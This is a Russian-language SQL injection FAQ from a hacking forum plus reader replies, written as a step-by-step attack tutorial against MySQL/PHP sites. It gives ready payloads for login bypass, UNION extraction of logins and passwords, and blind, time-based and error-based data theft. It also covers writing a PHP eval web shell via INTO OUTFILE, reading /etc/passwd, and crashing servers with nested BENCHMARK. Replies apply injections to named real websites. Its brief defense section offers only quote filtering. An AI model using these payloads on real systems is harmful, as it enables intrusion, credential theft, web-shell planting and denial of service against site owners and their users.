![]() |
SQL injection полный FAQ
SQL injection полный FAQ
Автор: Dr.Z3r0 Написанно специально для antichat.ru 0.INTRO 0.1 Вступление Лазив по интернету в поисках хоть какой то инфы по SQL injection, ты, наверно, часто натыкался на статьи либо очень короткие, либо не понятные, либо освещающие одну тему, либо еще что-то, которые разумеется тебя не устраивали. Когда то и я насобирал где то статей 10-20 по этой теме, чтобы вникнуть во многие тонкости этой уязвимости. И вот вспоминая те времена, решил написать полный FAQ по этой теме, чтобы, так сказать, остальные не мучались. Те кто найдет, что я что-то пропустил, где то ошибся и тд, пожалуйста отпишитесь ниже, трудно все-таки, все удержать в голове :). Кстати, это моя первая статья, пожалуйста не кидайтесь помидорами, и не пинайте ногами. Для усвоения этой статьи требуется: а) Наличие мозгов б) Прямые руки в) Знания языка SQL В основном эта статья писалась как для MYSQL+PHP. Вообще, по-моему, самый лучший способ обучиться правильной работе с SQL injection это не прочтение этой статьи, а живая практика, например, самому написать уязвимый скрипт или использовать мой приведенный в самом конце. Кстати советую читать все подряд так, как в каждом пункте есть что-то важное для следующего пункта и т.д. И еще. При чтении обратите внимание что эта статья - 2007 года, и она немного устарела. Сейчас (апрель 2010) я пытаюсь ее переписать, дабы восстановить актуальность. 0.2 Общее описание Для начала нам нужно представить, что такое база данных и скрипты, зачем они нам нужны и так далее. Возьмем к примеру движок этого форума. Со стороны пользователя оно все красиво. Учитывая тематику статьи, следует задать вопрос, откуда движок берет информацию (даже эту же самую статью, эти буквы)? Правильно! Из базы данных! Грубо говоря, обычная, в нашем понимании, БД состоит из множества таблиц. У каждой таблицы, естественно, есть столбцы и есть строки. Собственно, это ключевой момент. Возьмем к примеру таблицу юзеров этого форума. Для каждого юзера должно быть описанно несколько параметров (ник, мыло, дата реги и тд). В итоге каждый столбец определяет какой либо параметр юзеров, а каждая строка - конкретного юзера. А в пересечении нужного нам столбца и строки будет информация о параметре нужного юзера. (вообще это утрированное описание реляционных баз данных, можете поискать подробнее) Так надеюсь с представлением разобрались. Теперь поговорим о взаимодействии с Базами Данных. Для работы с БД был разработан специальный язык SQL запросов (кстати я бы советовал вам поискать мануал по нему, будет полезно). Вообщем начнем с примера. Представим, что вы(скрипт) пошли в магазин(БД), и просите(SQL запрос) продавца: "Дайте одну бутылку водки за 200 рублей". Попытаемся представить запрос в виде SQL: Код:
SELECT товар FROM магазин WHERE (тип='водка' AND цена='200') LIMIT 10.3 Что же все таки такое SQL иньекция? Обобщенно атака типа SQL иньекция (SQL injection) возникает в случае если злоумышленник может каким то образом модифицировать запрос к БД. На примерах разбирать проще поэтому вернемся к примеру с магазином. Допустим вы бросили пить :) Вот вы решили пойти в магазин за кефиром, и специально написали на бумажке "один пакет кефира за 30 рублей", чтобы не забыть зачем вы пришли в магазин. Но у вас есть друг-алкоголик(хакер, он же злоумышленник), который исправил надпись на бумажке(провел атаку SQL injection) на такую "один пакет кефира за 30 рублей или одну бутылку водки за 200 рублей". В итоге вы приходите в магазин и говорите, используя бумажку(входящий параметр): "Дайте один пакет кефира за 30 рублей или одну бутылку водки за 200 рублей" Цитата:
Вот собственно пример SQL иньекции. Вот налицо отсутствие фильтрации входящих параметров, вы же не посмотрели на то, что вторая часть записки написанна другим почерком? Конечно, это все утрированно, но надеюсь идею SQL запросов и иньекций в эти запросы вы уловили. |
1. КАК НАЙТИ SQL INJECTION
Как вы поняли выше SQL иньекция может возникать в местах где есть какие либо входящие параметры, будь то номер новости/статьи которую вы хотите увидеть на сайте, либо анкета голосования, вообщем любой параметр получаемый от пользователя. А возникать она будет тогда, когда этот параметр не фильтруется должным образом. Уяснив эту мысль, вы поймете что найти SQL иньекцию очень просто. Надо вставлять во все поля, переменные и куки одинарные и двойные кавычки. 1.1 Первый случай (Строковой входящий параметр) Начнем с вот такого скрипта http://xxx/news.php?id=1. Предположим что оригинальный запрос к БД выглядит так: Код:
SELECT * FROM news WHERE id='1'И, если переменная не фильтруется, наш запрос к БД будет выглядеть так: Код:
SELECT * FROM news WHERE id='1''Если включены сообщения об ошибках то вылезет что то наподобие: mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' Если отчет об ошибках выключен то в данном случае можно определить наличие уязвимости вот так (Также не помешало бы это, что бы не спутать с пунктом 1.2. Как именно описанно в этом же пункте): http://xxx/news.php?id=1' -- То есть запрос к БД станет вот таким: Код:
SELECT * FROM news WHERE id='1' -- 'Таким образом для MYSQL запрос остается прежним и отобразиться тоже самое что и для http://xxx/news.php?id=1 Тому что делать с этой уязвимостью посвящен весь пункт 2. 1.2 Второй случай (Числовой входящий параметр) Вернемся к скрипту новостей. Из языка SQL мы должны помнить, что числовые параметры могут(могут - ключевое слово, так как ни что программисту не мешает использовать параметр с ковычками) не обрамлятся кавычками, то есть при таком обращении к скрипту http://xxx/news.php?id=1 запрос к БД может(!) выглядеть вот так: Код:
SELECT * FROM news WHERE id=1mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' Если этого сообщения нет то есть три варианта:
БД не поймет шо это за бла бла бла и выдаст сообщение об ошибке типа: mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1 blablabla' Если отчет об ошибках выключен тогда проверяем вот так http://xxx/news.php?id=1 -- Должно отобразиться точно также как и http://xxx/news.php?id=1 1.3 Третий случай (Авторизация) Что делать если в том же скрипте авторизации отсутствует проверка на кавычку? Имхо будет как минимум глупо использовать эту иньекцию для вывода какой нибудь информаци. Пускай запрос к БД будет типа: Код:
SELECT * FROM users WHERE login='Admin' AND pass='123'Код:
SELECT * FROM users WHERE login='Admin' -- ' AND pass='123'Код:
SELECT * FROM users WHERE login='Admin' AND pass='123' OR login='Admin' -- 'Код:
SELECT * FROM users WHERE (login='Admin' AND pass='123') OR (login='Admin')1.4 Четвертый случай (Оператор LIKE) В SQL есть оператор LIKE. Он служит для сравнения строк. Вот допустим скрипт авторизации при вводе логина и пароля запрашивает инфу из БД вот так: Код:
SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '123'Код:
SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '%'Теперь можно переходить к пункту 2. 2. ЧТО И КАК МОЖНО ИЗВЛЕЧЬ ИЗ ЭТОГО ПОЛЕЗНОЕ Дальше будет рассматриваться только тип уязвимости описанный в пункте 1.1, а переделать под остальные сможете сами, это не трудно :) 2.1 Команда UNION Cамое полезное, в нашем случае, это команда UNION (кто не знает лезть в гугл )... Если в двух словах, то она объеденяет два запроса в один. И это очень полезно, так как вы сможете указать практически полностью свой запрос к БД, к примеру вывести информацию из любой таблицы. Модифицируем обращение к скрипту http://xxx/news.php?id=1' UNION SELECT 1 -- . Запрос к БД у нас получается вот таким: Код:
SELECT * FROM news WHERE id='1' UNION SELECT 1 -- 'Дело в том, что количество столбцов до UNION и после должны соответствовать, и, наверняка, вылезет ошибка (если только в таблице news не одна колонка) типа: mysql_query(): The used SELECT statements have a different number of columns В данном случае нам нужно подобрать количиство столбцов (что бы их количество до UNION и после соответствовало). Делаем это так: http://xxx/news.php?id=1' UNION SELECT 1, 2 -- Ошибка. «The used SELECT statements have a different number of columns» http://xxx/news.php?id=1' UNION SELECT 1,2,3 -- Опять ошибка. ... http://xxx/news.php?id=1' UNION SELECT 1,2,3,4,5,6 -- О! Отобразилось точно также как и http://xxx/news.php?id=1 значит количество полей подобрано, то есть их 6 штук… 2.1.1.2 Подбор количества полей(Способ 2 - Оператор GROUP BY) А этот способ основан на подборе количества полей с помощью GROUP BY. То есть запрос такого типа: http://xxx/news.php?id=1' GROUP BY 2 -- Будет отображен без ошибок если количество полей меньше или равно 2. Делаем запрос такого типа: http://xxx/news.php?id=1' GROUP BY 10 -- Упс... Появилась ошибка типа. mysql_query(): Unknown column '10' in 'group statement' Значит столбцов меньше чем 10. Делим 10 на 2. И делаем запрос http://xxx/news.php?id=1' GROUP BY 5 -- Опа! Ошибки нет - значит количество столбцов больше либо равно 5 но меньше чем 10. Теперь берем среднее значение между 5 и 10 это получается вроде 7. Делаем запрос: http://xxx/news.php?id=1' GROUP BY 7 -- Ой, опять ошибка... :( mysql_query(): Unknown column '7' in 'group statement' Значит количество больше либо равно 5 но меньше чем 7. Делаем еще один запрос http://xxx/news.php?id=1' GROUP BY 6 -- Ошибок нет... Значит число больше либо равно 6 но меньше чем 7. Отсюда следует что искомое число столбцов 6. 2.1.1.3 Подбор количества полей(Способ 3 - Оператор ORDER BY) Тот же самый принцип что и в пункте 2.1.1.2 только используется функция ORDER BY. И немного меняется текст ошибки если полей больше. mysql_query(): Unknown column '10' in 'order clause' 2.1.2 Определение выводимых столбцов Я так думаю что многим из нас точно такая страница как и http://xxx/news.php?id=1 не устроит. Значит нам нужно сделать так чтобы по первому запросу ничего не выводилось (до UNION). Грубо говоря, нужно отсечь вывод с первого запроса. Проще всего поменять "id" с '1' на '-1' (либо на '9999999'): http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 -- Или добавить ложное условие: http://xxx/news.php?id=1' AND 1=0 UNION SELECT 1,2,3,4,5,6 -- Теперь у нас кое где в странице должны отобразится какие-нибудь из этих цифр. (Например так как это условно скрипт новости то в «Название новости» будет отображенно допустим 3, «Новость»-4 ну и тд). Теперь чтобы нам получить какую нибудь информацию нам нужно заменять эти цифры в обрщении к скрипту на нужные нам функции. Если цифры не отобразились нигде, то вероятнее всего вывод отсутствует и остальные подпункты пункта 2.1 можно пропустить. 2.1.3 SIXSS (SQL Injection Cros Site Scripting) Эта таже XSS, только проводится она через запрос к базе. Пример: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,'<script>alert('SIXSS')</script>',5,6 --Ну думаю понять не трудно что 4 в странице заменится на <script>alert(‘SIXSS’)</script> и соответственно получится таже XSS. 2.1.4 Названия столбцов/таблиц Если ты знаешь названия таблиц и стобцов в БД этот пункт можно пропустить Если не знаешь… Тут два пути. 2.1.4.1 Названия столбцов/таблиц если есть доступ к INFORMATION_SCHEMA и если версия MYSQL >=5 Таблица INFORMATION_SCHEMA.TABLES содержит информацию о всех таблицах в БД, столбец TABLE_NAME - имена таблиц. http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES -- Вот тут может появится проблема. Так как будет выводится только первая строка из ответа БД. Тогда нам нужно воспользоваться LIMIT вот так: Вывод первой строки: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1 -- Вывод второй строки: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 --и т.д. Ну вот мы и нашли таблицу Users. Только это... кхм... стобцы не знаем... Тогда к нам приходит на помощь таблица INFORMATION_SCHEMA.COLUMNS столбец COLUMN_NAME содержит название столбца в таблице TABLE_NAME. Вот так мы извлекаем названия столбцов. http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’Users’ LIMIT 0,1 -- http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Users' LIMIT 1,1 -- и т.д. И вот мы нашли поля login, password. 2.1.4.2 Названия столбцов/таблиц если нет доступа к INFORMATION_SCHEMA К сожалению тут в силу вступает обычный брутофорс... Пример: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 FROM Имя_таблицы -- Нужно подбирать Имя_таблицы до тех пор пока не пропадет сообщение об ошибке типа: mysql_query(): Table 'Имя_таблицы' doesn't exist Ну ввели мы, к своему счастью, Users, пропало сообщение об ошибке, и страница отобразилась как при http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 -- что это значит? Это значит то, что существет таблица Users и нужно приступить к перебору столбцов. http://xxx/news.php?id=-1' UNION SELECT 1,2,3,Имя_столбца,5,6 FROM Users -- Нужно подбирать Имя_столбца до тех пор пока не пропадет сообщение об ошибке типа: mysql_query():Unknown column 'Имя_столбца'' in 'field list' Там где пропадает сообщение об ошибке значит такой столбец существует. И вот таким образом мы узнали что в таблице Users есть столбцы login, password. 2.1.5 Вывод информации Обращение к скрипту таким образом http://xxx/news.php?id=-1' UNION SELECT 1,2,login,password,5,6 FROM Users LIMIT 0,1 -- Выводит нам логин и пароль первого юзера из таблицы Users. 2.2 Работа с Файлами Сервер MYSQL подерживает работу с файлами. Да, она несколько ущербная, но это вам не файловый менеджер. Для работы с файлами у текущего юзера должны быть права на это то есть FILE_PRIV. 2.2.1 Запись в файл Есть в MYSQL такая интересная функция типа SELECT … INTO OUTFILE позволяющая записывать информацию в файл. Либо такая конструкция SELECT ... INTO DUMPFILE они почти похоже и можно использовать любую. Пример: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE '1.txt' -- Для нее работает несколько ограничений.
А вот что бы нам мешало сделать веб шел? Вот например так: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,'<?php eval($_GET[‘e’]) ?>',5,6 INTO OUTFILE '1.php' -- Остается только найти полный путь к корню сайта на сервере и дописать его перед 1.php. Врипринципе можно найти еще одну ошибку по отчету которой будет виден путь на сервере или оставить в корне сервера и подцепить его локальным инклудом, но это уже другая тема. 2.2.2 Чтение файлов Рассмотрим функцию LOAD_FILE Пример: http://xxx/news.php?id=-1' UNION SELECT 1,2,LOAD_FILE('etc/passwd'),4,5,6 Для нее есть также несколько ограничений.
Если функции не удастся прочитать файл то она возвращает NULL. 2.3 DOS атака на SQL сервер В большинстве случаев SQL сервер досят из-за того что больше ничего сделать не могут. Типа не получилось узнать таблицы/столбцы, нет прав на это, нет прав на то и т.д. Я честно говоря против этого метода но все таки... Ближе к делу… Функция BENCHMARK выполняет одно и тоже действие несколько раз. Код:
SELECT BENCHMARK(100000,md5(current_time))Код:
SELECT BENCHMARK(100000, BENCHMARK(100000,md5(current_time)))Пример Доса в нашем случае: http://xxx/news.php?id=-1' UNION SELECT 1, 2, BENCHMARK(100000,BENCHMARK(100000,md5(current_time ))), 4, 5, 6 -- Достаточно раз 100 потыкать F5 и «сервер упадет в беспробудный даун» ))). |
3.ЧТО ДЕЛАТЬ ЕСЛИ ОТСУТСТВУЮТ ПРЯМОЙ ВЫВОД НА СТРАНИЦУ.
3.1 Вывод в отчете об ошибках Более подробно можно найти в комментариях к статье Быстрый Blind SQL Injection (Qwazar) Идея этого способа попробовать найти вывод в отчете об ошибках. То есть динамически передать какую либо подстроку в ошибку мускула. Вообщем не вижу смысла пытаться разъяснить смысл и логику запроса, чесно говоря сам еле допер) Код:
SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID([YOUR QUERY], 1, 63), FLOOR(RAND(0)*2))Собственно вот пример того как можно заюзать этот способ: http://xxx/news.php?id=-1' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID(VERSION(), 1, 63), FLOOR(RAND(0)*2))) -- Как результат предыдущего запроса мы увидим ошибку типа: Duplicate entry '5.0.45-community-nt0' for key 1 Имейте ввиду что последний ноль в строке "5.0.45-community-nt0" не относится к ней, и является результатом выполнения команды FLOOR(RAND(0)*2), без которой не удалось бы спровоцировать ошибку. И из - за которого мы выводим по 63 символа а не по 64, как могло бы показаться изначально. 3.2 Посимвольный перебор Этот случай нужен нам если http://xxx/news.php?id=1 при разных id выдаст нам разные результаты. Например http://xxx/news.php?id=1 будет отлично от http://xxx/news.php?id=0 если нет, то этот метод бесполезен но дочитать до конца стоит. Как мы помним запрос к БД у нас выглядит так Код:
SELECT * FROM news WHERE id='1'Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII((SELECT USER()))>=254,'1','0') -- 'http://xxx/news.php?id=-1' OR id=IF(ASCII((SELECT USER()))>=254,'1','0') -- Что нам это дает? Для начала MYSQL выполняет подзапрос SELECT USER() вставляет его в функцию ASCII() которая возвращает ascii код первого символа из результата выполнения подзапроса а функция IF() возвращает 1 если этот код больше или равен 100 oсновной запрос становиться таким Код:
SELECT * FROM news WHERE id='-1' OR id=1Код:
SELECT * FROM news WHERE id='-1' OR id=0http://xxx/news.php?id=0 Назовем условно что запрос возвращает 1(да) или 0(нет) соответственно и начнем перебирать. http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=100,'1','0') -- Ага вернулся 1 значит код первого символа больше или равен 100. Пробуем вот так: http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=200,'1','0') -- Вернулся 0 значит 100<= код символа <200. http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=150,'1','0') -- Опять вернулся 0 значит 100<= код символа <150. http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=125,'1','0') -- И снова вернулся 0 значит 100<= код символа <125. http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=113,'1','0') -- Вернулся 1 следовательно113<= код символа <125. http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=118,'1','0') -- Возвращается 0 следовательно113<= код символа <118. http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=115,'1','0') -- 113<= код символа <115. http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1) =113,'1','0') -- Вернулся 0 значит код символа не равен 113. http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)=114,'1','0') -- Ура! Вернулся 1 значит код символа равен 114. Переводим в символ и получаем символ "r". Теперь переходим к следующему символу. http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),2,1)>=100,'1','0') -- И заново повторяем все предыдущие шаги. 3.3 Посимвольный перебор с помощью BENCHMARK Что делать если отсутствует выводимые поля и выключены отчеты об ошибках? На помощь нам прийдет функция BENCHMARK. Как было написано выше, эта функция выполняет одно действие несколько раз. Ну и что спросишь ты... А вот что. Вспомним что запрос Код:
SELECT BENCHMARK(100000,BENCHMARK(100000,md5(NOW())))http://xxx/news.php?id=-1' OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) -- Запрос станет таким: Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) -- 'Теперь поговорим о времени задержки. Для того чтобы определить время возврата 0 и 1 нужно сделать предварительно несколько запросов: http://xxx/news.php?id=-1' OR id= IF(99>100, 1, BENCHMARK(2999999,MD5(NOW()))) -- Будет возвращать 0. Нужно засечь время. В зависимости от ширины вашего канала нужно подобрать число 2999999 до токого, чтобы вы могли точно судить была ли задержка или нет по сравнению с http://xxx/news.php?id=-1' OR id= IF(101>100, 1, BENCHMARK(2999999,MD5(NOW()))) -- который вернет 1. Огромным минусом является то что BENCHMARK-ом мы очень сильно грузим сервак. ВНИМАНИЕ! В данном случае главное не забывать что после каждого выполнения BENCHMARK-а серверу SQL нужно дать некоторое время отдых. (Чуть больше чем само выполнение BENCMARK-а). В противном случае результаты данного перебора могут быть неверными. 3.4 Посимвольный перебор с помощью SLEEP Чтож про бенчмарк мы прочитали. И все обратили внимание на жуткую не стабильность этого метода. Что делать спросите вы? Вот что. С 5 ветки MySQL появился оператор SLEEP(). По сути эта функция и создает нужную нам задержку в ответе веб сервера, и, заметьте, без ненужных нагрузок на него. То есть SLEEP() является лучшей альтернативой BENCHMARK() и юзать желательно ее, но повторюсь единственный минус - эта функция появилась только аж в 5-ой ветке. Сказка, да и только. Как юзать? Все элементрано: http://xxx/news.php?id=-1' OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) -- Я юзаю значение в две - три секнуды, но вам советую подобрать его в соответствии с каналом сервера, так как могут возникнуть погрешности в выводе. 3.5 Посимвольный перебор с помощью отчета об ошибках Этот пункт написан на основе статьи "Новая альтернатива Benchmark'y или эффективный blind SQL-injection" автор Elekt, респект ему. Данный способ основан на том что вместо возврата 0, выполняется подзапрос который вызывает ошибку и по выводу ошибок можно судить что возвратился 0, а по отсутствию ошибки что возвратился 1. Этот способ нам поможет если отсутствуют выводимые поля, но ВКЛЮЧЕН(!) отчет об ошибках. Код:
SELECT * FROM news WHERE id='-1' OR id=(SELECT 1 UNION SELECT 2)mysql_query():Subquery returns more than 1 row Это была теория. Теперь переходим к запросу с помощью которого мы будем перебирать символы Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1,(SELECT 1 UNION SELECT 2)) -- 'Код:
SELECT 1 UNION SELECT 2Огромным минусом этого способа является то что в логах скапливаются огромные количества ошибок. А огромным плюсом является скорость работы. 3.6 Иньекция в операторе ORDER BY Почему то у многих сложилось мнение, что это безнадежный случай. Ну что же будем менять это мнение на противоположное. Допустим к БД запрос выглядит вот так: Код:
SELECT * FROM news ORDER BY $byhttp://xxx/news.php?by=(id*1) http://xxx/news.php?by=(id*-1) Надеюсь как вы догадались в второй раз выборка пойдет "сверху вниз" относительно первого запроса, понять почему не сложно. Допустим в первый раз вывелось, примим это заистину: Код:
Первая новостьКод:
Третья новостьhttp://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=112,1,-1)) Чтож вывелся обратный порядок новостей => ложь http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=113,1,-1)) Опять ложь http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=114,1,-1)) О! Прямой порядок новостей => истина Переводим код символа 114 в символ r. Переходим к следующему символу и тд. 4.ЧТО ДЕЛАТЬ ЕСЛИ ЧТО-ТО ФИЛЬТРУЕТСЯ. 4.1 Фильтруется пробел Ну для начала вспомним что для SQL конструкция типа /**/ равна пробелу. Ну а что делать если подобная конструкция фильтруется? Все элементарно. Можно воспользоватся скобками и апострофами. К примеру: Код:
SELECT * FROM news WHERE id='1'UNION(SELECT(1),2,3,4,5,(6)FROM(Users)WHERE(login='admin'))#'(Только удалите лишние, неадекватные пробелы - их, зараза, вставляет форум) 4.2 Фильтруется символ/строка Есть интересная функция CHAR() которая возвращает по коду символа сам символ.Предположим фильтруется символ... ну пускай будет звездочка (*). Для начала нам нужно узнать код этого символа. В MYSQL есть функция ASCII() возвращает код самого левого символа из переданной ей строке юзается так Код:
SELECT ASCII('*')Код:
SELECT CHAR(42, 42, 42)Еще один способ это использовать 16-ричный код символа. Теперь предположим что фильтруется солово 'admin'. В MYSQL есть функция HEX() которая выдает 16-ричный код строки. Юзается так Код:
SELECT HEX('admin')Код:
SELECT password FROM User WHERE login=0x61646D696EЧасто бывает так, вот вы вроде нашли все столбцы составили верный запрос, а при попытке вывести из БД какую либо строку не получается - ну и взависимости от конфигурации сервера вы можете получить сообщение о несовместимости кодировок, а можете и не получить. Есть элементарный способ возложить преобразование кодировок на плечи мускула. Можно юзать подобную конструкцию: AES_DECRYPT(AES_ENCRYPT([Ваш запрос],'bla'),'bla') Но! Какбе это уже не модно и очень громоздко, и где то в дебрях этого топика я пару лет назад предлагал другую конструкцию, намного меньшую: UNHEX(HEX([Ваш запрос])) Как говорится все гениальное просто. Ну и собственно пример того как это можно юзать: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,UNHEX(HEX(login)),5,6 FROM Users LIMIT 0,1 -- 5.ПОЛЕЗНЫЕ ФУНКЦИИ В MYSQL Надеюсь что за SELECT, INSERT, UPDATE, DELETE, DROP вы знаете, если нет то лезем в эту книжку читать: Большой справочник языку SQL . ---------------------------- USER()-функция выводит логин юзера под которым мы подключены к MYSQL DATABASE()-функция выводит название БД к которой мы подключены VERSION()-выводит версию MYSQL ---------------------------- ASCII(str)-возвращает ASCII код первого символа в строке "str" CHAR(xx1,xx2,...)-возвращает строку состоящую из сомволов ASCII коды которых xx1, xx2 и т.д. HEX(str)-возвращает 16-ричный эквивалент строки "str". ---------------------------- LENGTH(str)- Возвращает длину строки "str". SUBSTRING(str,pos[,len]) -Возвращает подстроку длиной len(если не указан то до конца строки "str") символов из строки "str", начиная от позиции pos. LOCATE(substr,str[,pos]) -Возвращает позицию первого вхождения подстроки "substr" в строку "str" начиная с позиции pos(если не указанно то с начала строки "str"). Если подстрока "substr" в строке "str" отсутствует, возвращается 0. ---------------------------- LOWER(str)-переводит в нижний регистр строку "str"(по-моему только латиницу) CONCAT(param1,param2,...) -объединение подстрок в одну строку. CONCAT_WS(sep,param1,param2,...) -объединение подстрок в одну строку c разделителем "sep". ---------------------------- IF(exp,ret1,ret2)-Проверяет условие exp если оно верно (не равно 0) то возвращает строку ret1 а если нет то возвращает строку ret2. ---------------------------- expr BETWEEN min AND max-Если величина выражения expr больше или равна заданному значению min и меньше или равна заданному значению max, то функция BETWEEN возвращает 1, в противном случае - 0. ---------------------------- Теперь о комментариях в Mysql 1) # символ начала комментария в MySQL. Пример: Код:
SELECT pass,login FROM users #This is commentКод:
SELECT pass,login FROM usersКод:
SELECT pass,login FROM users -- This is commentКод:
SELECT pass,login FROM users /*This is commentКод:
SELECT pass/*!32302 ,login*/FROM users6. КАК ЗАЩИТИТЬСЯ ОТ SQL INJECTION Вы конечно понимаете что именно для этого пункта и писалась вся эта статья. Все пункты и их подпункты были написанны лишь для того что бы понять все серьезнось ситуации, а за использование этих пунктов в целях противоречащих УКРФ автор данной статьи ответственность не несет. А защитится очень просто. Кстати все три правила относятся к трем способам передачи информации серверу GET, POST, Cookie. 1)САМОЕ ГЛАВНОЕ ФИЛЬТРОВАТЬ КАВЫЧКИ. ------------------------------- 2)Если используется оператор сравнения строк LIKE фильтровать знаки “%” и “_” ------------------------------- 3)Не использовать при сравнении прерменных без кавычек типа SELECT …WHERE id=$id а использовать так SELECT ...WHERE id='$id' и обратиться к пункту 1 |
7.ДОПОЛНЕНИЯ
Выдалась свободная минутка... не знаю нужно ли вообще комуто это, но вот как и обещал... Код уязвимого скрипта Код:
<?phpКод:
CREATE TABLE `news` (А теперь что-то пополезнее. Скрипт для вывода инфы через LIMIT или еще что нибудь этого рода ;) Код:
<?phpКод:
<?php |
Цитата:
Кстати гораздо лучше чем выделенная тема: https://forum.antichat.ru/threadnav19605-1-10.html |
Цитата:
|
Update
Дополнение В MySQL существуют системные переменные: @@basedir @@datadir @@tmpdir @@version_compile_os Пример запроса: Код:
http://www.site.com/index.php?id=-1+union+select+1,2,@@basedir,3,4/*-к файлам конфигурации MySQL(my.ini, my.cnf); -к логам MySQL(hostname.err, mysql.log, mysql.err, etc..); В некоторых случаях при наличии локального инклуда, через логи мускула можна осуществить заливку шела (как через логи апача). С помощью @@version_compile_os, можно определить тип ОС. Определить тип ОС часто, но не всегда, можно через version(), если в возвращенной строке версии есть: строка "-log" - значит ОС *nix/linux типа; строка "-nt" - значит ОС Windows типа. |
Все хорошо в ФАКах, но не очень они раскрывают один вопрос - варианты запросов используемых в скриптах. Пример:
вот такой запрос дает количество полей http://www.site.org/article.php?id=3+order+by+4 а вот этот запрос возвращает ошибку http://www.site.org/article.php?id=3+union+select+1,2,3,4 The used SELECT statements have a different number of columns В каком варианте запроса такое может случиться? Сразу замечу, что кавычка или скобка после значения параметра дают ошибку. Ясно, что кроме простейшего запроса SELECT x FROM t WHERE p='nn' могут быть и более сложные варианты, в т.ч. и с использованием скобок. Хотелось бы знать методы, которыми можно "вычислить" структуру запроса. Есть идеи? |
Цитата:
order by 4/* select 1,2,3,4/* |
Цитата:
Код:
"select id,name,login,password,description from table where id=".$id.";"в конечном итоге все будет так: Код:
"select id,name,login,password,description from table where id=-1 order by 4/*если ты поставишь $id=-1 order by 5/* то во втором запросе будет ошибка Цитата:
дальше ты вставляешь инъект: $id=-1 union select 1,2,3,4/* тут же первый запрос выплевывает ошибку Цитата:
если ты вставишь инъект: $id=-1 union select 1,2,3,4,5/* то эту ошибку выплюнет второй запрос... вот в этом вся причина твоих бед... при таком раскладе возможно только использование подзапросов |
Цитата:
Впрочем, это частный случай заморочки, поэтому очень хотелось бы в каком-нибудь FAQ-е увидеть анализ возможных конструкций запросов в скриптах и варианты инжектов. |
>разве объединение запросов через ";" в мускуле разрешено?
в комадной строке мускула да. А в функциях, например mysql_query() нет, т.к. она должна возратить результат, при чем 1 |
Цитата:
я прост привел пример, так сказать теоретический, для лучшего понимания, чтоб тебе не заморачиваться еще и на синтаксис языка >это частный случай заморочки частный, но иногда (сравнительно часто) встречающийся... >видеть анализ возможных конструкций запросов в скриптах и варианты инжектов. таких наверное нет, т.к. конструкции запросов и реализация инъектов зависят от конкретного случая, а общие вещи характерные для всех (большинства) случаев и так уже подробно освещены (даже чересчур) |
Цитата:
Если кому интересно, то могут покопать данный пример и предложить варианты решения http://www.soaw.org./article.php?id=322 Вот еще одна заморочка: http://www.remhq.com/news_story.php?id=593 17 полей, но выяснить версию скули не дает - функции version,user,database, похоже, фильтруются, зато есть XSS в полях |
Цитата:
дальше по твоим примерам №1 - это примерно то, про что я тебе говорил, здесь помогут подзапросы №2 - ошибка возникает из-за кодировки, вот рабочий вариант: Код:
http://www.remhq.com/news_story.php?id=555592'%20union%20select%201,2,aes_decrypt(aes_encrypt(user(),0x71),0x71),4,5,6,7,8,9,10,11,12,13,14,15,16,17/* |
Цитата:
Как правильно то? |
Цитата:
Код:
